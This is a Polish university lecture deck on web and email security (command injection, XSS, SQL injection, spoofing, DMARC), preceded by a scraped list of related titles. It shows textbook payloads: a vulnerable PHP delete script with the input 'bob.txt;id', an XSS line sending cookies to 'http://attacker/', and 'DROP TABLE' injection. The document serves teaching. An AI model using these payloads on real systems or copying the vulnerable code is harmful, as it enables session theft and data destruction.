Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Podobne dokumenty
OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Projektowanie systemów baz danych

Literatura: SQL Ćwiczenia praktyczne Autor: Marcin Lis Wydawnictwo: Helion. Autor: Joanna Karwowska

P o d s t a w y j ę z y k a S Q L

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Bezpieczeństwo systemów komputerowych

Bazy danych. Wykład IV SQL - wprowadzenie. Copyrights by Arkadiusz Rzucidło 1

Aspekty bezpieczeństwa aplikacji internetowych

PRZESTRZENNE BAZY DANYCH WYKŁAD 2

3 Przygotowali: mgr inż. Barbara Łukawska, mgr inż. Maciej Lasota

Projektowani Systemów Inf.

The OWASP Foundation Session Management. Sławomir Rozbicki.

Informatyka (5) SQL. dr inż. Katarzyna Palikowska Katedra Transportu Szynowego p. 4 Hydro

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Podstawowe informacje o bazach danych. Technologie Informacyjne

Bazy danych. Bazy danych. Podstawy języka SQL. Dr inż. Paweł Kasprowski.

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Ogólny plan przedmiotu. Strony WWW. Literatura BAZY DANYCH. Materiały do wykładu:

Język SQL, zajęcia nr 1

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Drobne błędy w portalach WWW

Bazy danych. Dr inż. Paweł Kasprowski

Pakiety podprogramów Dynamiczny SQL

PHP: bazy danych, SQL, AJAX i JSON

Instytut Mechaniki i Inżynierii Obliczeniowej Wydział Mechaniczny Technologiczny Politechnika Śląska

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

strukturalny język zapytań używany do tworzenia i modyfikowania baz danych oraz do umieszczania i pobierania danych z baz danych

Internetowe bazy danych

Systemy GIS Tworzenie zapytań w bazach danych

Bazy danych i usługi sieciowe

Podstawy języka SQL. standardy SQL formułowanie zapytań operacje na strukturach danych manipulowanie danymi. Bazy danych s.5-1

Paweł Rajba

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Wprowadzenie do języka SQL

Uprawnienia, role, synonimy

Instrukcja podwaja zarobki osób, których imiona zaczynają się P i dalsze litery alfabetu zakładamy, że takich osbób jest kilkanaście.

Blaski i cienie wyzwalaczy w relacyjnych bazach danych. Mgr inż. Andrzej Ptasznik

BAZY DANYCH. Wykład 1: Wprowadzenie do baz danych. Marcin Czajkowski. Przygotowanie wykładu: Małgorzata Krętowska

Przestrzenne bazy danych Podstawy języka SQL

Bazy Danych i Usługi Sieciowe

Bazy danych. Polecenia SQL

Zaawansowane bazy danych i hurtownie danych studia zaoczne II stopnia, sem. I

Język SQL podstawy zapytań

SQL DDL DML TECHNOLOGIE BAZ DANYCH. Wykład 5: Język DDL i DML. Małgorzata Krętowska

Wyzwalacz - procedura wyzwalana, składowana fizycznie w bazie, uruchamiana automatycznie po nastąpieniu określonego w definicji zdarzenia

Ref. 7 - Język SQL - polecenia DDL i DML

Zbiór pytań nr 5. 2 Które stwierdzenie opisuje najlepiej zbiór uprawnień dostępny po wykonaniu

Bazy danych i usługi sieciowe

15. Funkcje i procedury składowane PL/SQL

Laboratorium - Obserwacja procesu tłumaczenia nazw DNS

Bazy danych i usługi sieciowe

Wykorzystanie SMTP w PHP

Komunikacja z bazą danych psql

Bazy danych. dr inż. Arkadiusz Mirakowski

- język zapytań służący do zapisywania wyrażeń relacji, modyfikacji relacji, tworzenia relacji

SQL 4 Structured Query Lenguage

Wykład 5: PHP: praca z bazą danych MySQL

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań,

Wykład 6. SQL praca z tabelami 3

Laboratorium nr 4. Temat: SQL część II. Polecenia DML

Zaawansowane bazy danych i hurtownie danych semestr I

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

DECLARE VARIABLE zmienna1 typ danych; BEGIN

Ćwiczenia laboratoryjne nr 11 Bazy danych i SQL.

Przestępcze scenariusze wykorzystania a sposoby zabezpieczeń Warszawa, 21 czerwca Tomasz Zawicki CISSP

Język PL/SQL. Rozdział 5. Pakiety podprogramów. Dynamiczny SQL

OBSŁUGA PROGRAMU SWD ST W ZAKRESIE STATYSTYCZNYM st. kpt. mgr inż. Wiktor Gawroński

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych:

Oracle11g: Wprowadzenie do SQL

Języki programowania wysokiego poziomu. PHP cz.4. Bazy danych

Użytkownicy, uprawnienia, role w SQL Server (W oparciu o SQL Server 2008R2 Books Online)

BAZY DANYCH wprowadzenie do języka SQL. Opracował: dr inż. Piotr Suchomski

mysql> UPDATE user SET Password=PASSWORD('pass') WHERE user='root'; Query OK, 2 rows affected (0.05 sec) Rows matched: 2 Changed: 2 Warnings: 0

Bezpieczeństwo aplikacji internetowych

Zarządzanie obiektami bazy danych Oracle11g

Podstawowe informacje o bazach danych. Technologie Informacyjne

Procedury i funkcje składowane

Relacyjne bazy danych. Podstawy SQL

Lab.8: Podstawy języka SQL.

Instrukcja instalacji aplikacji PlanSoft.org

Procedury wyzwalane. (c) Instytut Informatyki Politechniki Poznańskiej 1

Baza danych sql. 1. Wprowadzenie. 2. Repozytaria generyczne

Aplikacje www laboratorium

Plan. Wprowadzenie. Co to jest APEX? Wprowadzenie. Administracja obszarem roboczym

Język PL/SQL Procedury i funkcje składowane

Plan ćwiczenia. Rozdział 16 Uwierzytelnianie i autoryzacja w bazie danych. UŜytkownicy i schematy (2) UŜytkownicy i schematy (1) baza danych: ZESP99

CREATE USER

Client-side Hacking - wprowadzenie w tematykę ataków na klienta. Radosław Wal radoslaw.wal@clico.pl

PODSTAWY BAZ DANYCH 13. PL/SQL

Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi

Plan bazy: Kod zakładający bazę danych: DROP TABLE noclegi CASCADE; CREATE TABLE noclegi( id_noclegu SERIAL NOT NULL,

Plan ćwiczenia. Rozdział 16 Uwierzytelnianie i autoryzacja w bazie danych. Użytkownicy i schematy (1) Użytkownicy i schematy (2) baza danych: ZESP99

Wydział Elektrotechniki, Informatyki i Telekomunikacji Instytut Informatyki i Elektroniki

Wykład :45 BD-1 W_3

Wykład 8. SQL praca z tabelami 5

ITA-101 Bazy Danych. Włodzimierz Dąbrowski, Przemysław Kowalczuk, Konrad Markowski. Moduł 5. Wersja 1.0

Od assemblera do html5

E.14 Bazy Danych cz. 18 SQL Funkcje, procedury składowane i wyzwalacze

Transkrypt:

Wprowadzenie do kryptografii i bezpieczeństwa Po raz czwarty

WWW i e-mail

WWW HTTPS & SSL doesn't mean "trust this." It means "this is private." You may be having a private conversation with Satan. Hanselman Scott Strony dostarczane po HTTPS mogą być zainfekowane! Wystawca certyfikatu uwierzytelnia podmiot (mniej lub bardziej dokładnie), ale tylko w momencie wystawiania certyfikatu Strona z HTTPS może później zostać skompromitowana

WWW iframe technika osadzania jednej strony wewnątrz drugiej Dużo starszych rozbudowanych stron tak funkcjonowało Obecnie zaleca się inne metody Można w ten sposób podstawić zainfekowaną treść pod zaufanym adresem Przeglądarka powinna to zauważyć

WWW HTTP 302 (Found) przekierowanie URL Może prowadzić z potencjalnie bezpiecznego adresu na niezaufaną stronę Częsty problem w skracarkach linków Te lepsze wyświetlają najpierw komunikat, do jakiego adresu prowadzi skrót Domain shadowing złośliwe subdomeny w potencjalnie zaufanej (ale przejętej) domenie

WWW Command injection SQL injection HTTP injection XSS (Cross-site scripting) XSRF (Cross-site request forgery)

Command injection Command injection wysłanie przez atakującego polecenia, które wykona się po stronie serwera Zazwyczaj w powłoce (bash) Zazwyczaj wynika to ze złej obsługi wejścia użytkownika Przekazywanie do funkcji systemowych Ścieżki dostępu do plików 7

Command injection Wyobraźmy sobie kod strony <?php print("please specify the name of the file to delete "); print("<p>"); $file=$_get['filename']; system("rm $file");?> Dajmy użytkownikowi wpisać bob.txt;id Co się wywołuje? http://example.com/delete.php? filename=bob.txt;id

Command injection Informacja zwrotna: Please specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data)

XSS Cross-Site Scripting wywołanie skryptu przez przeglądarkę użytkownika Wyobraźmy sobie, że na stronie zamieszczony zostaje kawałek kodu: <script> window.location= 'http://attacker/?cookie= +document.cookie </script> Dlaczego cookie? Udaje użytkownika w trakcie sesji

Persistent XSS

XSS Typy XSS: Persistent XSS utrzymuje się po odświeżeniu strony, zazwyczaj złośliwy kod zapisany przez atakującego w bazie strony Reflected XSS tylko do odświeżenia strony DOM-based XSS podatność po stronie klienta, nie serwera DOM Document Object Model

Reflected XSS https://excess-xss.com/

DOM-based XSS

DOM-based XSS Wynika z rosnącego zaawansowania przeglądarek Skrypt nie wykonuje się podczas przetwarzania odpowiedzi od serwera ze stroną tylko później podstawia elementy do prawidłowej zawartości strony Trudne do wykrycia po stronie serwera Istnieją XSS, które nie wymagają wysłania skryptu do serwera (zostaje lokalnie u klienta)

Trochę o bazach Podstawowym problemem są zapytania wysyłane do baz danych Aplikacja musi mieć dostęp do wszystkich danych, na których operuje ale zazwyczaj większość użytkowników aplikacji nie powinna SQL injection wstrzykiwanie zapytań z poziomu aplikacji

SQL SQL Structured Query Language Podstawowy język zapytań do baz danych Elementy: DML (ang. Data Manipulation Language) INSERT, UPDATE, DELETE DDL (ang. Data Definition Language) CREATE, DROP, ALTER DCL (ang. Data Control Language) GRANT, REVOKE, DENY DQL (ang. Data Query Language) SELECT

SQL Przykłady: SELECT EMPLOYEE_ID, NAME FROM EMPLOYEE_TABLE WHERE EMPLOYEE_ID = '0000'; CREATE TABLE Customers ( ID varchar(80), Name varchar(80), Phone varchar(20),... );

SQL Przykłady: DROP TABLE EMPLOYEE_TABLE; CREATE TABLE Customers ( ID varchar(80), Name varchar(80), Phone varchar(20), -- SOME COMMENTS ); DELETE FROM Customers WHERE ID = 'Anna Nowak';

SQL a aplikacje Wyobraźmy sobie aplikację Użytkownik wprowadza przez formularz wartość $input_data = 1234; $query = "SELECT * FROM users where id=$input_data"; Wykona się zapytanie: SELECT * FROM users where id=1234 A co jeśli $input_data nie będzie równe czemuś spodziewanemu?

SQL a aplikacje Wprowadzona wartość: $input_data = "1; DROP TABLE users;" $query = "SELECT * FROM users where id=$input_data"; Co powoduje uruchomienie zapytania SELECT * FROM users where id=1; DROP TABLE users; ; 21

Exploits of a Mom https://xkcd.com/327/

WWW Jak się chronić: Uwierzytelnianie użytkowników przed zrobieniem czegokolwiek Dokładne parsowanie danych przekazywanych przez użytkownika

Poczta elektroniczna Złośliwe załączniki Email spoofing pola wiadomości: MAIL FROM i From nie muszą być identyczne Ale warto to sprawdzać Serwery open relay DMARC (Domain-based Message Authentication, Reporting and Conformance): SPF (Sender Policy Framework) autoryzacja po adresie IP serwera wysyłającego mail DKIM (DomainKeys Identified Mail) podpisane wiadomości (klucz w DNS)

Te dziwne znaczki Homoglyph ( homoglif ) podobne graficznie znaki, oznaczające coś innego Obrazek: fraudwatchinternational.com